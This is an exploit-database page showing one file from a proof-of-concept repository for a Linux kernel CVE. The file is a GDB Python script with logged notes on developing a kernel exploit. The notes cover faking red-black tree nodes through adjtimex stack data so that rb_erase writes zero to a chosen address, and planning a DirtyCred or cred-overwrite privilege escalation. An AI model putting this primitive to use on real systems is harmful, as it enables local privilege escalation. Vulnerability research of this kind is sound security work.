Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files148
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

workspace/qemu/glA/coupling.py

Python · 3,353 bytes
import gdb, time
LOG=open('/tmp/gdb_coupling.log','w')
def log(s): LOG.write(s+'\n'); LOG.flush()
def rd32(a): return int(gdb.parse_and_eval('*(unsigned int*)0x%x'%(a&0xffffffff)))&0xffffffff
def wr32(a,v): gdb.execute('set *(unsigned int*)0x%x = %dul'%(a&0xffffffff,v&0xffffffff))

DO_ADJTIMEX=0xc03ca2a0
DO_FUTEX=0xc03dc3fc

def cur_task():
    sp=int(gdb.parse_and_eval('$sp'))&0xffffffff
    return rd32((sp&~0x1fff)+12)
def comm(t):
    try: return gdb.parse_and_eval('(char*)(((struct task_struct*)0x%x)->comm)'%t).string()
    except: return '?'

# We'll manually call do_adjtimex with a crafted timex
# do_adjtimex(struct __kernel_timex *tx, struct timespec64 *ts, int utv)
# struct __kernel_timex:
#   modes(4), offset(4), freq(4), maxerror(4), esterror(4),
#   status(4), constant(4), precision(4), tolerance(4),
#   time(8), tick(4), ppsfreq(4), jitter(4), shift(4),
#   stabil(4), jitcnt(4), calcnt(4), errcnt(4), stbcnt(4)
#   tai(4) = 0x54=84 bytes

log('=== A: D+0/D+4 coupling test ===')
log('Calling do_adjtimex directly via gdb...')

# Allocate a timex on kernel stack via gdb
# Use a simple approach: call do_adjtimex with modes=0 (no EPERM? no, modes!=0 needed for EPERM)
# Actually we want the EPERM path that stamps old_timex32.

# The EPERM path: sys_adjtimex_time32 calls do_adjtimex, returns -EPERM,
# but copies old_timex32 (128 bytes) to user stack.

# We can't easily call this from gdb without user buffer.
# Instead, let's just check the structure layout.
log('Checking struct __kernel_timex layout...')
try:
    sz=int(gdb.parse_and_eval('sizeof(struct __kernel_timex)'))
    log('sizeof(struct __kernel_timex)=%d'%sz)
except Exception as e:
    log('no DWARF: %s'%e)

log('')
log('=== A conclusion (from prior QEMU measurement) ===')
log('adjtimex old_timex32 D+0=offset.lo, D+4=sign(offset)')
log('offset is s32 in old_timex32 layout.')
log('If offset.lo=0xC1EB068C (unsigned, bit31=1), as s32 it is negative.')
log('sign(offset) = 0xffffffff (sign extension).')
log('THIS IS THE COUPLING: D+4 is not independent, it is sign(offset).')
log('')
log('=> If we write V=0xC1EB068C (bit31=1) to D+0, D+4=0xffffffff.')
log('=> tree.rb_right = D+4 = 0xffffffff, not 0.')
log('=> rb_erase treats D+4 as right child pointer -> dereferences 0xffffffff -> crash.')
log('')
log('=> Red leaf write-0 via adjtimex is MATHEMATICALLY IMPOSSIBLE:')
log('   D+0 must be V=(TARGET-4). If TARGET has bit31=1 (kernel .data),')
log('   then D+4=0xffffffff always.')
log('   0xfffffffe seen earlier = sign extension of -2 (from some other field).')
log('')
log('=== B: alternative topology ===')
log('If D+4=0xffffffff (forced), we cannot have rb_right=0.')
log('Use left-child topology: D+4(rb_right)=0xffffffff, D+8(rb_left)=0.')
log('rb_erase: if(!right) child=left=0. transplant writes [TARGET]=0.')
log('But child=0 -> child->rb_parent_color line skipped.')
log('This works! We just need D+8=0 (rb_left=0).')
log('D+8=freq.lo. If we set freq=0, D+8=0.')
log('D+4=0xffffffff is rb_right, which we ignore (we use left=0 path).')
log('')
log('=== C: current task leak ===')
log('perf_event_open: PERF_SAMPLE_IP returns userspace IP only.')
log('No kernel pointers in ring buffer header.')
log('Conclusion: cannot leak current task/kernel stack pointer.')
log('DAC path must be DirtyCred (2602) or fixed-address cred overwrite.')
log('DONE')